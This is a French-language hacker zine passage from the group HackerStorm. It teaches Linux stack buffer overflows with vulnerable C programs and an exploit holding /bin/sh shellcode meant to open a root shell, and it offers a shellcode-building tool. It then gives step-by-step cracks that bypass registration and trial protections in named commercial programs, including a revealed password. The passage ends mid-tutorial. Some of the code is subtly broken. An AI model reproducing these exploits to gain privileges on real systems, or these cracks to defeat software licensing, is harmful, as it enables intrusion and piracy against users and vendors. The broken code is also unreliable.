Ce que vous aller voir ici n'est pas réelement un exploit mais juste une petite introduction

pour que vous compreniez mieux. Tout ceci est bien sur pour linux.

Prenez ce code source:

-----------------------------------------------------------

//---------------------------------------

// HackerStorm Exploit - Débutant

//---------------------------------------

main(int argc, char *argv[])

{

char hello[]="\nBonjour petit hacker :!\n\n";

char buffer[100];

if (argc == 2)

{

strcpy(buffer,argv[1]);

}

printf(hello);

}

-----------------------------------------------------------

Petite explication: le programme démarre et affiche à l'aide de printf() la chaine de caractère (=buffer)

"\nBonjour petit hacker :!\n\n". Si le programme est éxécuté avec un argument, il copie cet argument dans

dans buffer[]. Ce buffer étant d'une taille de 100 on peut le faire déborder en lançant le programme

avec une longue chaine de caractère.

Exemple en direct:

-----------------------------------------------------------

[root@localhost Desktop]# ./exemple

Bonjour petit hacker :!

-----------------------------------------------------------

Là ça marche nikel. Maintenant on met un argument

-----------------------------------------------------------

[root@localhost Desktop]# ./exemple `perl -e 'print "A"x200'`

Erreur de segmentation (core dumped)

-----------------------------------------------------------

Explication: le petit code en perl permet d'écrire 200 A. On envoie donc une chaine de 200 caractère

remplie de A. Le programme qui pouvait recevoir 100 caractères sature et modifie la mémoire dans

tous les sens :) d'où l'erreur de segmentation. Mettons tout ça à notre avantage. Les variables sont

empilés dans l'ordre inverse de leur déclaration. Donc si buffer[] déborde il va aller écrire sur hello[].

Le but est de faire changer le message affiché à l'écran. Essayez donc ceci:

-----------------------------------------------------------

[root@localhost Desktop]# ./exemple `perl -e 'print "A"x106'`

AAAAAA

-----------------------------------------------------------

Regardez ça, on a écrit 6 A de trop. ces A vont se caser dans hello[] et c'est donc ça qui va etre affiché.

C'est vraiment très simple. Voyons comment on pourrait coder un exploit qui écrirait le message que l'on

aura choisit (je vous le code en barbare pour la compréhension):

-----------------------------------------------------------

#include <stdlib.h>

main(int argc, char *argv[])

{

char **args;

args[2]=NULL;

args[1]=

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //100 A

"OVERFLOWWWWWWWW...";

if (argc != 2)

{

printf("Usage : Exploite <ProgName>\n");

}

execve(argv[1],args,0);

}

-----------------------------------------------------------

On l'éxécute:

-----------------------------------------------------------

[root@localhost Desktop]# ./exploite exemple

OVERFLOWWWWWWWW...

-----------------------------------------------------------

Bon beh ça marche nikel.

By TiPiaX

6 - Les exploits par Tipiax

Qui n'a jamais revé de faire ces propres exploits, hein ?

Si vous aussi vous etes dans ce cas la eh beh on va essayer de progresser ensemble. Le but d'un exploit

est d'obtenir des droits quand on est sur un OS tel que linux ou WinNt. Ici on va le faire avec linux :)

Tout d'abord voyons le fonctionnement d'un exploit. Un exploit exploite (eh oui :) un buffer overflow

(enfin pas toujours mais ici oui). C'est a dire un débordement d'un buffer en mémoire. Un programme est

executé ligne par ligne. Une instruction nommé "call" correspond à l'appel d'un fonction. Pour éxécuter

cette fonction le programme sauve l'adresse de retour sur la pile, exécute la fonction puis revient grace

à l'adresse sauvegardée. Le but de l'exploit par buffer overflow est de changer cette adresse mémoire

en écrivant là où normalement on a pas le droit. Si un programme reçoit une chaine de caractere (buffer)

comme paramètre, voila ce que ça donnerait en mémoire: (le buffer est une suite de A ici)

MEMORY:)

-------------------------------------------------------------------------------

#BUFFER# #PILE#

AAAAAAAAAAAAAAAAAA |RET|???????...

-------------------------------------------------------------------------------

Enfin c'est ça TRES GROSSIEREMENT ! Mais bon bref. le principe est de faire déborder le buffer et de

changer la valeur de retour de call sur la pile:

MEMORY:)

-------------------------------------------------------------------------------

#BUFFER# #PILE#

AAAAAAAAAAAAAAAAAAAAAAAA|AAAA|AAAAAAAAAAAAAAAAA

-------------------------------------------------------------------------------

Le buffer qu'on a rempli de "AAAA" a débordé et a atteind la valeur de retour. Le but est de mettre la valeur

qu'on veut dedans pour l'envoyer sur un bout de programme codé par nos soins (ce que l'on appelle shellcode

et qui sera placé au début du buffer).

Voyons tout de suite un exemple concret.

Créez le fichier exemple.c et mettez ceci dedans:

-----------------------------------------------------------

//-----------------------------

// BO exemple - HackerStorm

//-----------------------------

void function(char *str)

{

char buffer[100];

strcpy(buffer,str);

}

main(int argc, char *argv[])

{

if (argc = = 2)

{

function(argv[1]);

}

-----------------------------------------------------------

Puis vous le compilez avec gcc:

gcc exemple.c -o exemple

(le recompilez pas car le code compilé varie selon votre version de gcc, utilisez l'exemple précompilé)

Vous obtenez un bel éxecutable pour ce minuscule programme en c. Le programme appelle une fonction qui va

copier l'argument envoyé au programme lors de son éxecution dans un buffer d'une capacité de 100 caractères.

Executez le normalement:

------------------------------------------------------------------------

[root@localhost /root]# /root/Desktop/exemple

[root@localhost /root]# /root/Desktop/exemple 1111111111111111111111111111

------------------------------------------------------------------------

C'est bon il plante pas. Maintenant faisons déborder le buffer:

------------------------------------------------------------------------

[root@localhost /root]# /root/Desktop/exemple `perl -e 'print "A" x 200'`

Erreur de segmentation (core dumped)

-------------------------------------------------------------------------

Eh oui il plante, ça veut dire qu'on a bien fait déborder le buffer. le truc en perl c'est pour éxécuter le

programme exemple avec 200 A en argument. On va tenter d'exploiter cette faille. C'est ici qu'on va

normalement utiliser gdb. Mais là comme c'est mon programme et bien on en réécrit un qui nous simplifie la vie:

-------------------------------------------------------------------------

//-----------------------------

// BO exemple - HackerStorm

//-----------------------------

unsigned long get_sp(void) {__asm__("movl %esp,%eax");}

void function(char *str)

{

char buffer[100];

strcpy(buffer,str);

system("clear");

printf("\nJe te donne tout pour que tu m'exploites facilement :\n");

printf("-----------------------------------------------------\n\n");

printf("Debut du buffer : %x\n",buffer);

printf("Fin du buffer : %x\n",buffer+100);

printf("Valeur de ESP : %x\n",get_sp());

printf("Contenu du buffer : %s\n\n\n",buffer);

}

main(int argc, char *argv[])

{

if (argc == 2)

{

function(argv[1]);

}

-------------------------------------------------------------------------

On fait un petit : ./exemple `perl -e 'print "A"x108'` et ça nous donne ceci :

(108 car le ret est juste après le 104 dans cet exemple, comme vous me croyez pas regardez sous gdb:

------------------------------------------------------------------------

[root@localhost Desktop]# gdb -q exemple

(gdb) run `perl -e 'print "A"x108'`

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

------------------------------------------------------------------------

Bon on me crois maintenant ...)

Je te donne tout pour que tu m'exploites facilement :

-----------------------------------------------------

Debut du buffer : bffff8e8

Fin du buffer : bffff94c

Valeur de ESP : bffff8c4

Contenu du buffer : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

On a tout en main pour détourner l'éxécution de ce cher programme.

Petite explication. En faisant déborder le buffer on écrase la valeur de retour de call. Cette valeur

sera écrite entre 104 et 108. Voila. Dans le buffer en hexa il faudra inverser l'adresse (ce qui est logique

si on réfléchit un peu). L'adresse :bffff8e8 donnera : e8f8ffbf. C'est bon on code l'exploit qui

éxécutera le programme avec notre buffer.

Petit problème: après avoir codé l'exploit on se rend compte que le fait de l'éxécuter extérieurement

change l'adresse du début du buffer qui se retrouve en bffffde8. ça change tout !

On va donc changer l'adresse de retour, mais a quoi ça sert ?

Eh bien on va mettre du code au début du buffer qui sera éxécuté lors du retour. Ce code sera

le lancement de la console du root car comme ça, à nous les maxi-privilèges :)

Ce bout de code se nomme shellcode, et je dois avouer que je l'ai rippé :)

Voila donc le code de l'exploit:

(compilation : gcc exploite.c -o exploite)

-----------------------------------------------------

#include <stdlib.h>

main(int argc, char *argv[])

{

char *args[2];

args[2]=NULL;

args[1]=

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh" //45 chars

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // les NOPS = 55 chars

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // soit 100 chars au total

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90" //104 chars

"\xe8\xfd\xff\xbf"

"\x00"; //le 0 final

if (argc != 2)

{

printf("Usage : Exploite <ProgName>\n");

}

//printf(args[1]);

execve(argv[1],args,0);

}

-----------------------------------------------------

Codé bien à l'ancienne pour bien comprendre :). Executez l'exploit comme ceci:

./exploite exemple

Bim la console du super utilisateur apparait :) ! ObJeCtiF DeStRoYeD !

A vous les backdoors exploitables :))))

TiPiaX.

7 - Programme de création de shell-code par KoP

Grâce à ce programme, vous pouvez créer simplement un fichier binaire ou texte.

J'ai mis qu'il était destiné à la création de shell-code mais vous pouvez

l'utiliser pour tout type de données.

Veuillez dabord mettre la source suivante dans un fichier nommé Make-SC.cpp:

Copier/Coller------------------------------------------------------------------------

Programme de crétion de Shell-Code

Par KoP du groupe HackerStorm

E-Mail: HackerStorm@HotMail.Com

Merci de ne pas modifier cette source.

#include <stdio.h>

#include <stdlib.h>

main(int argc,char*argv[])

{

unsigned char data,t=0,erreur=0,etape=0,k;

char buf[2000],buf1[2000],buf2[2000];

unsigned int i,j,l;

if(argc!=3)

{

puts("Usage: Make-SC [fichier source] [fichier sortie]");

puts("\tProgramme de création de Shell-Code par KoP du groupe HackerStorm");

puts("\tPour me contacter -> E-mail: HackerStorm@HotMail.Com\n");

puts("Le fichier source peut accépter plusieurs type de datas :");

puts(" Source -> Sortie");

puts("- brut : 0159dsd -> 0159dsd");

puts("- décimal : \\97\\ -> a");

puts("- multiple : \\\"a\"*10\\ -> aaaaaaaaaa");

puts(" \\97*10\\ -> aaaaaaaaaa");

puts("- fichier sortie : \\\"shell.dat\"\\ -> 0a8f9djhg9 si le fichier shell.dat");

puts(" contient les données \"0a8f9djhg9\"");

}

FILE*sortie,*entree;

if((sortie=fopen(argv[1],"rb"))==NULL)

{

printf("Impossible d'ouvrir le fichier source \"%s\".\n",argv[1]);

return 1;

}

entree=fopen(argv[2],"wb");

for(;;)

{

data=getc(sortie);

if(feof(sortie))break;

if(data!='\\'&&data!=13&&data!=10)

{

putc(data,entree);

continue;

}

if(data=='\\')

{

for(i=0,etape=0,t=0;;i++)

{

data=getc(sortie);

if(feof(sortie)){erreur=1;break;}

if(data=='*'&&t==0)etape=1;

if(data==' '&&t==0){i--;continue;}

if(data=='\\'&&t==0)break;

if(data=='\\'&&t==1)t=2;

if(data=='"'&&t!=2)t=(t==0)?1:0;

t=(t==2)?0:t;

buf[i]=data;

}

buf[i]='\0';

if(erreur==1)

{

puts("Erreur dans le fichier source.");

break;

}

if(etape==1)

{

for(j=0,l=0,k=0;j<i+1;j++)

{

if(buf[j]=='*'){k=1;buf1[l]='\0';l=0;continue;}

if(k==0)buf1[l++]=buf[j];

if(k==1)buf2[l++]=buf[j];

}

buf2[l]='\0';

if(atoi(buf2)==0)continue;

if(buf1[0]!='"')sprintf(buf1,"%c",atoi(buf1));

if(buf1[0]=='"')

{

for(i=0;;i++)

{

if(buf1[i]=='"'&&buf1[i-1]!='\\'&&i!=0)break;

buf1[i]=buf1[i+1];

}

buf1[i-1]='\0';

}

j=atoi(buf2);

for(i=0;i<j;i++)

fprintf(entree,buf1);

continue;

}

if(etape==0)

{

if(buf[0]!='"')

{

sprintf(buf,"%c",atoi(buf));

fprintf(entree,"%s",buf);

continue;

}

if(buf[0]=='"')

{

for(i=0;;i++)

{

if(buf[i]=='"'&&buf[i-1]!='\\'&&i!=0)break;

buf[i]=buf[i+1];

}

buf[i-1]='\0';

FILE*sortie2;

if((sortie2=fopen(buf,"rb"))==NULL)

{

printf("Impossible d'ouvrir le fichier \"%s\".\n",buf);

break;

}

for(i=0;;i++)

{

data=getc(sortie2);

if(feof(sortie2))break;

putc(data,entree);

}

fclose(sortie2);

}

continue;

}

fclose(sortie);

fclose(entree);

return 0;

-------------------------------------------------------------------------------------

Veuillez le compiler en tapant sous Linux, Unix: gcc Make-SC.cpp -o Make-SC

ou encore sous DOS: tcc Make-SC.cpp

Un fichier Make-SC ou Make-SC.exe devrait être créé.

Pour faire fonctionner ce programme, vous devez saisir en argument un nom de fichier source.

Les fichiers sources peuvent contenir plusieurs type de données :

- brut : 0159dsd -> 0159dsd

- décimal : \97\ -> a

- multiple : \"a"*10\ -> aaaaaaaaaa

\97*10\ -> aaaaaaaaaa

- fichier sortie : \"shell.dat"\ -> 0a8f9djhg9 si le fichier "shell.dat"

contient les données "0a8f9djhg9"

Exemple de fichier source :

(sauvegardez le sous exemple.in)

Copier/Coller------------------------------------------------------------------------

Salut, comment allez vous \"??"*3\

\13\\10\

Moi je vais \"très "*5\ bien :)\13\\10\

Voici votre fichier passwsd :\13\\10\\13\\10\

\"/etc/passwd"\\13\\10\

\42*80\\13\\10\

Un petit tableau de 5 sur 5 :\13\\10\

\"* * * * *\n"*5\

-------------------------------------------------------------------------------------

Voilà, je vais maintenant détailler chaque ligne :

ligne 1 :"Salut, comment allez vous \"??"*3\"

La sortie sera : "Salut, comment allez vous ??????".

Ceci écrit 3 fois "??".

ligne 2 :"\13\\10\"

A pour effet un saut à la ligne(norme).

ligne 3 :"Moi je vais \"très "*5\bien :)\13\\10\"

La sortie sera "Moi je vais très très très très très bien :)"+saut à la ligne

Ceci écrit 5 fois "très " et fait un saut à la ligne.

ligne 4 :"Voici votre fichier passwsd :\13\\10\\13\\10\"

Fait 2 saut à la ligne.

ligne 5 :"\"/etc/passwd"\\13\\10\"

Ouvre votre fichier /etc/passwd et l'ajoute depuis l'emplacement de la balise.

Fait ensuite un saut à la ligne.

ligne 6 :"\42*80\\13\\10\"

Ecrit une ligne de 80 caractère "*"(42 -> "*").

Fait ensuite un saut à la ligne.

ligne 7 :"Un petit tableau de 5 sur 5 :\13\\10\"

Ressort le texte tel quel et fait un saut à la ligne.

Fait ensuite un saut à la ligne.

ligne 8 :"\"* * * * *\n"*5\"

La sortie sera "* * * * *"

"* * * * *"

Car "\n" remplace un saut à la ligne.

Dans cet explication, je parle de sortie.

La sortie est, pour ce programme un fichier que vous devez spécifier sur la ligne de commande.

exemple de ligne de commande : ./Make-SC exemple.in exemple.out

exemple.in est prit comme fichier source et exemple.out comme fichier sortie.

Voilà, j'espère que ce programme vous servira.

Pour envoyer un shell code, vous pouvez utiliser n'importe quel

programme(que vous pouvez faire) qui lis un fichier et envoi ses données

en utilisant les protocoles réseaux.

Par KoP

************************************************************************************

* CRACKING par Alexia[SKY],eBrain,TiPiaX *

************************************************************************************

1 - Easy soft CD menu générateur par Alexia[SKY]

Materiel nécéssaires :

Un editeur HEXADECIMAL, style Hex Works Shop, Hiew etc....

Ce programme à pour but de vous aider à préparer vos compiles sur cd.

Compression, présentation, etc...

En sa version SHAREWARE, il a cependant un inconvénient majeur.

Dès que vous générez un joli menu, UREGISTRERES VERSION apparaît dans tous les sens.

Sur chacune des fenêtres générées, 3 en l'occurrence.

Notre but est donc de supprimer ce stupide message de ce stupide logiciel.

Nous l'installons et avons ces fichiers executables :

Lavmenu.exe, Menu.exe, et 2 autres qui ne nous interessent pas. Si nous lançons le Menu.exe,une erreur

apparaît:"ERROR : File not Found [2] Creating menu.tps\ !farver etc."

Ce n'est pas celui la. On lance Lavmenu.exe, et la tout se passe bien.

On fait un peu n'importe quoi, le but étant de générer les fichiers.

Je ne m'attarde pas sur les commandes de ce log, on est pas là pour ça.

Nous générons notre fichier et le lançons. Voilà notre fameux UREGISTRERES VERSION partout.

(Avec un nom comme ça, on ne peut pas s'empécher de le cracker ;)).

On quitte et on regarde les fichiers générés.

Autorun.inf, qui lui même fait appel au fichier menu.exe présent aussi dans ce repertoire.

On en conclue donc qu'il colle son Menu.exe ici dans ce repertoire.Ca doit être ça.

Prenez votre editeur hexadecimal, et ouvrez le fichier Menu.exe du répertoire d'install du log.

Faites Find, Recherchez UREGIS (c'est pas la peine de mettre ça au complet..)

PAF ! ! ! On le tient. Il est-là. modifiez ça par des espaces (20 en ascii), continuez la recherche.

L'opération se fera 3 fois, une fois tout remplacés par des espaces, enregistrez, générez un fichier. BAK

(Habitude a prendre, ca sert si on abime un fichier) et relancez le Lavmenu.exe.

Ce dernier nous dit toujours uregistrers, mais le fichier menu lui, ne laisse plus apparaître

UREGISTERES nulle part.

Cool works ! Vous venez de faire votre premier crack ;))) Felicitations ;)

Bien sur, il y a bien d'autres méthodes pour y arriver, mais celle ci me semble la plus simple,

faut avouez que.....

Ceci dis, les programmeurs de ce log auraient pus avoir la bonté de crypter ça !

2 - WinRescue 98 V 2.04 par Alexia[SKY]

Cette fois ci, et pour la derniere fois je pense, on va se faire un petit crack facile.

Parceque des daubes comme ça, vous devez être en mesure de les cracker en moins de 5 minutes maintenant.

Première étape : on teste le logiciel. Il y a une boite de bialogue au démarage qui demande un mot de passe.

On tape le mot de passe et on a un message d'erreur.

On décompile. W32Dasm, notre fidèle serviteur se fera un plaisir de remplir cette tâche.

On regarde ensuite la liste des chaines de caractère ( menu Refs \ String Data References ).

On remarque une chaine bien sympa qui correspond à notre message d'erreur.

On y va. Un peut plus haut, on voit que le code suit un saut conditionnel.

Et encore plus haut le code qui correspond à la chaine "Registration Key Accepted". ( 465A5F )

Alors, on va aller à l'origine du saut ( 4659F7 ). Là, on vois bien le JE ainsi que le CMP qui le précède.

On voit aussi que tout ce code correspond à la chaine "Svet CHRISTA".

( Au passage si quelqu'un sait ce que ca veut dire, qu'il veuille bien me le signaler SVP :0).

Serais ce le mot de passe ? On essaye et... oui, c'est bien lui !

Noter que vous auriez tout aussi bien pu remplacer le JE par des NOP.

De cette manière, n'importe quel pwd aurait été accepté.

Mais ça, je vous laisse le faire !

3 - Pretty HTML V2.00 par Alexia[SKY]

Objet : Crack de Pretty HTML V 2.00 ( Disponible sur le CD Pro PC-Team N°43 )

Niveau : Débutant

Outils : Axe ( un éditeur hexadécimal )

Outils : W32Dasm89 ( un désassembleur )

Télécharger le logiciels <http://www.multimania.com/tirips/ph_200.zip>

Voici les URLs où télécharger les logiciels nécesaire à ce crack :

Axe <http://www.multimania.com/utils/axe20.zip>

W32Dasm<http://www.multimania.com/utils/w32ds893.zip>

Là, il y a pas 36 solutions, il faut lancer le logiciel, en l'occurence prettyhtml.exe.

Dès qu'on lance le logiciel, une boite de dialogue nous informe qu'il faut enregistrer

le produit. Ok, cliquons sur le bouton "Enter registration key". Il nous est demander

un nom et un mot de passe. Tu as de la chance, c'est le genre de crack qui se réalise

assez rapidement. En plus comme il s'agit d'un petit logiciel, il ne devrait pas y avoir

trop de complications. On entre n'y nom, n'y mot de passe. Que se passe t'il ?

Un label change ( un label, c'est un zone de texte qui fait en général une ligne ).

"Incorrect name or serial...". Voila un message interessant. On recommence l'opération

en entrant cette fois ci un nom et un mot de passe bidon. Rien ne se passe.

Le message est toujours le même. En fait, il a quand même du se passer quelquechose,

le réaffichage du message, mais nous, on a rien vu ! On lance Axe et on fait une

recherche du mot "Incorrect". Pour ceux qui hésiterait, c'est une chaine ANSI, mais ce

n'est pas toujours le cas. Une fois la chaine trouvée, on regarde. Pas très interessant

à première vu... et pourtant. On remarque d'autre chaine de caractères. Un peu plus

haut, on voit "mpp". Tiens ! l'éditeur de ce logiciel s'apelle Média ++ ( mpp ).

Coïncidence ? Et "PName", ca ne te dit rien ? Tout a l'heure, on ne te demandais

pas d'entrer ton "name" ? Continuons... "pretty.reg", c'est sans doute un fichier.

Un petit coup d'oeil dans le répertoire d'installation nous apprend qu'il n'y a pas

de fichier portant ce nom... étrange... on s'apercevra à la fin qu'il est chargé de

contenir le nom et le mot de passe crypté. On continue notre ascension et là !

Révélation : "Thank you...". Cette petite phrase veut tout dire !

Ce logiciel est tout con. Il nous demande un mot de passe. Si ce n'est pas le bon

ou s'il n'y en a pas, il change le texte du label qu'il y a juste en dessous.

Par contre, on peut facilement déduire que si on entre un bon mot de passe,

il change aussi le label, mais cette fois ci, il y aura écrit "Thank you...".

Bien sur, a ce stade là, on peut pas le vérifier, mais on a pas le choix et on doit faire avec !

En conclusion, le logiciel effectue une vérification du mot de passe tapé et

choisit en fonction de celui ci le message à afficher. Cerise sur le gateau,

il se pourrait même qu'a le suite de ce message, le logiciel soit enregistré,

et c'est ce que nous cherchons !

Maintenant, lance W32Dasm et ouvre le fichier prettyhtml.exe.

Laisse le logiciel désassembler le fichier et ensuite, rend toi à l'endroit où

se trouve "Thank you" (fais une recherche !). Une fois que tu y es,

observe le code. Pour ceux d'entre vous qui ne connaissent pas l'assembleur,

ca va être dur de tout comprendre, alors je vais essayer d'être le plus clair possible.

On voit * Possible StringData Ref from Code Obj ->" Thank you, ..."

La ligne indique qu'à cet endroit, on fait appel à la chaine "Thank you".

La ligne d'après, on voit: 004815E9 B91C174800 mov ecx, 0048171C

Clique deux fois dessus et vérifie qu'elle se surligne bien en bleu.

Si c'était vert, ca signifierait que cette ligne renvoi à une autre adresse

(un peu comme goto en basic) ou qu'au contraire, cette ligne est la cible

d'un saut. Ce dernier cas aurait compliqué la situation. On aurait été obligé

d'aller chercher dans le code la ligne qui renvoi à celle ci, et la compréhension

aurait été plus difficile. Mais ce n'est pas le cas, alors tout ce qu'on peut en

déduire, puisqu'on sait que les lignes qui suivent celle-ci servent à enregister

PrettyHTML ( enfin, on le suppose ), c'est que plus haut dans le code,

il y a un endroit qui sera la cible d'une instruction genre "goto" que l'on

appelle JMP(jump), ou qu'il y aura un JMP vers le message "Incorrect name or serial".

Regarde la ligne 004815E0 0F84DD000000 je 004816C3

On remarque la commande "JE" qui signifie "Aller à 004816C3 si la ligne précédente

renvoi 1". 004816C3 est une adresse qu'il faut aller vérifier. A cette adresse ci, il n'y

a rien de très concluant. Regardont un peu plus bas : "Incorrect name or serial".

BINGO ! La ligne 3 crée une dérivation conditionelle vers le code qui garde

le logiciel "unregistered".

Maintenant la ligne 004815DC 837DF800 cmp dword ptr [ebp-08], 00000000

Cette ligne est la solution de tout. Elle compare une valeur dword et 0. Si les deux

valeurs sont égales, la ligne renvoie la valeur 1. La ligne 3 elle regarde le renvoi

de la 4 et si ce renvoie est 1, elle ordonne au programme d'effectuer un saut vers

l'adresse 004816C3, qui rappellons le maintient le programme en version shareware.

De cette manière, le code qui enregistre le logiciel et qui se situe après la ligne 3

n'est jamais executé. La valeur dword [ebp-8] est déterminée plus haut dans le

programme et si elle est égale à 0, la ligne 3 est executée. Tu as compris, il suffit

de modifier la ligne 4. Tu vois le chiffre 00000000 ? Remplacons le par n'importequelle

valeur différent de 0. Ainsi, la ligne 4 comparera la valeur dword ( egale à 0 pour n'importe

quel mot de passe incorrect ) et le chiffre que tu auras entré. Les deux chiffres étant

différents, la valeur de renvoie ne sera pas 1, mais 0. La ligne 3 ne n'executera pas,

mais le code qui enregistre le programme si !

Dans le menu debug, clique sur "Load process". Double-clique sur la ligne 4 et appuie sur F2

pour placer un point d'arrêt. Appuie sur F9 en deux fois pour lancer l'execution du logiciel.

Une fois la fenètre de Pretty HTML chargé, clique sur "Enter registration key" et tape n'importe

quel nom et mot de passe. Clique sur "OK". Tu entendras un bip ! Basculer vers W32Dasm.

Cherche la ou il y a écrit "Source for data disp 1" et clique sur "eip" et sur "code". Tu vois là

ou il y a "BP*" ? C'est la ligne 4. Clique dessus. Et ensuite sur dword. Note la valeur à coté

de l'adresse qui apparait au même endroit que la ligne 4 au paravant ( la valeur est 00f87d83 ).

Bon, maintenant, regarde l'autre fenètre ou il y a ecrit "Patch Code". Clique sur ce bouton.et

tape "cmp [ebp-08], 1". Moi, j'ai mit 1, mais tu peut mettre ce que tu veut. Clique sur "Apply Patch"

et confirme. Ferme la fenètre. Regarde de nouveau "Source for data disp 1". Et oh ! Miracle,

la valeur à changer ! Maintenant, c'est 01f87d83 ( enfin, si t'a mit 1 tout à l'heure !). Note cette valeur.

Lance ton éditeur hexadécimal préféré et cherche la valeur 837df800. Pourquoi cette valeur,

c'est un peu compliqué a expliqué ici ( consulte des manuels sur la manière dont les programmes

chargent leurs données dans la mémoire ), mais sache qu'il faut prendre les valeurs que tu as

notée 2 chiffre par 2, et lire à l'envers (ainsi 00 f8 7d 83 donne 83 7d f8 00 ). Il y en a peut être

plusieures de ces valeurs, mais n'oublie pas que celle qu'on cherche se trouve près de la chaine

"Thank you". Ok, t'as trouvé ? Pour moi, il est à l'offset 809DC en hexa ( 528612 en Décimal ).

Ensuite, c'est pas compliqué, change le 837df800 en 837df801. Enregistre le tout, ferme tout

les logiciels inutiles et lance Pretty HTML. Clique sur "Enter registered key" et tape le nom

et mot de passe que tu veut ! Et la, Magie ! Tu es enregistré !

Voila, c'était pas bien compliqué ! Mais, ce n'est qu'un début, et pour devenir un crackeur,

tu doit vraiment t'y mettre et essayer de cracker n'importe quoi ( euh, commence quand même

pas par des grands softs genre 3D Studio MAX, c'est un coup à te décourager !!! )

4 - PhotoImpact 4 Trial Version par Alexia[SKY]

Objet : Crack de Ulead PhotoImpact 4 Trial version

Niveau : C ( pas très compliqué....)

Outils : Axe ( un éditeur hexadécimal )

Outils : W32Dasm89 ( un désassembleur )

Petit crackeur, tu es de retour ? C'est bien. Si tu as réussis à cracker Pretty HTML, tu es sur le chemin

de la progression. Comme tu as déjà acquis de l'expérience, ce cours va être beaucoup moins détaillé,

parceque je suis sur d'abord que tu as pas tellement envie de lire des pages et des pages de texte,

et ensuite, parceque l'oiseau doit, petit à petit, voler de ses propres ailes !

Bon allez, j'arrête mes conneries et on commence...

1° On regarde le programme

Les 30 premiers jours, le programme se lance normalement... ou presque. Il y a toujours cette boite

de dialogue à la con au démarrage. Mais on va s'en occuper plus tard... OK, vous avez vu ?

Bon, alors maintenant, avancez votre horloge de quelque mois pour voir ce qui se passe au bout

de 30 jour ( euh non, ne le fais pas sinon, tu sera obligé de réinstaller windows. Donc on va faire

comme si tu l'avais fais...). Après, relancez le soft, et là, galère, le programme lance toujours la boite

de dialogue, mais il est impossible d'aller plus loin, le programme se ferme quand on clique sur OK.

Remettez votre horloge à l'heure et relancez le soft : le soft ne se lance toujours pas...

Conclusion : le programme vérifie la date et la compare à celle de la première execution.

Si la date à dépasser 30 jours, le programme se vérrouille.

2° Comment contrer la protection ?

Cette étape est celle qui ne s'apprend pas. Chaque cas est différent et c'est au crackeur de savoir

s'adapter. J'ai déjà tenter d'apprendre l'art du crack à plusieurs personne et j'ai remarquer que

c'est cette étape qui pose le plus de probleme aux débutant. Il sont capable de réaliser les opérations

techniques, mais ne savent pas lesquelles réaliser. Alors, exercez vous le plus possible en utilisant

votre matière grise plus que les tutoriaux. Je vais pas vous torturer plus longtemps. Pour contrer la

protection, on a droit à deux solution :

Première méthode : On regarde ce qui ce passe quand on clique sur le bouton "Continuer".

On regarde ce qui se passe quand on clique sur "OK". On compare

et on effectue une petit modification de manière à ce que lorsque la date

est dépassée, si on clique sur "OK", tout se déroule comme si on cliquait

sur "Continuer".

Deuxième méthode : On regarde dans le code décompilé ce qui fait appel à la boite de dialogue

orange et ce qui fait appel à le fenètre principale du logiciel. Ensuite, on va

remplacer le code qui lance la boite de dialogue par celui qui lance la fenêtre.

De ce fait, l'application se lancera immédiatement quel que soit la date.

Comme vous l'avez compris, la méthode la plus intéressante est la seconde. C'est donc celle là qu'on

va réaliser. Notez bien qu'on ne va pas s'attarder à chercher les lignes de code qui verifient la date...

Il est si simple de carrement les contourner :o)

3° En pratique, ce que ça donne....

Lancez iedit.exe avec W32Dasm ( CTRL+L et F9 pour ceux qui auraient pas encore trouvé... ).

Quand la boite de dialogue apparait, cliquez sur API... La ligne de code qui viens d'etre executée est

"4EB01D68 call USER32.DialogBoxParamA". C'est tout simplement la ligne qui affiche la boite de dialogue.

Notez bien qu'on ne se trouve plus dans le fichier IEDIT.EXE lancé initialement, mais dans le module

U32CFG.DLL. Et bien soit, on va le décompiler lui aussi. Il suffit juste de cliquer sur le nom de la dll dans la

liste des modules. Donc tu te trouve à la ligne 4EB01D68. Ben maintenant clique sur Continue et on regarde

ce qui se passe grace à F8 (mode pas à pas !). On constate qu'il y a un jne vers 4EB01D1C juste après un cmp

! Voila la solution !

Le programme teste si on a cliquer sur Continue et nous envoie vers la suite si c'est oui. Remplacez à la ligne

4EB01D68 "call USER32.DialogBoxParamA" par un "JMP 4EB01D1C" et 4 nop... ( Pour remplacer, il suffit

de cliquer sur "Patch Code"... ) Et c'est pas plus compliqué que ca ! Remplacez les chaines hexadécimales

adéquates par les nouvelles dans le fichier U32CFG.DLL.

Ce tutorial est un peu plus compliqué parce que je n'ai quasiment rien expliqué en détails à part la manière de

procéder, mais le crack en lui même ne m'a pas demandé plus de temps que celui de Pretty HTML.

By Alexia[SKY]

5 - Comment trouver une adresse de softice(ou windasm) qui corresponds a l'offset du fichier exe ? par eBrain

Remarque: ce cours est util aux crackers et à ceux qui veulent connaitre la structure

des executables windows PE (portable executable)

Réponse : générealement on fait une recherche de la chaine dans le programme et

puis on trouve l'offset dans le fichier. Mais je voudrais vous présenter

une autre méthode, à savoir sans faire de recherche.

Outils nécessaires :

un editeur hexa

windasm

un peu de mathématiques

Concrètement : prenons la version 6.2 de winzip32.exe (version tres ancienne de winzip)

ouvrons le avec windasm

on voit par exemple :

COPIER/COLLER -------------------------------------------------------------------------------------------

* Reference To: USER32.GetDlgItemTextA, Ord:00F5h

:0040B418 FF15C8FA4D00 Call dword ptr [004DFAC8]

* call qui appelle la fenêtre d'enregistrement

:0040B41E 0FB605B0C24D00 movzx eax, byte ptr [004DC2B0]

*on stock en eax le nom entré dans Name. Ici : HUGS2000 dans l 'ex.

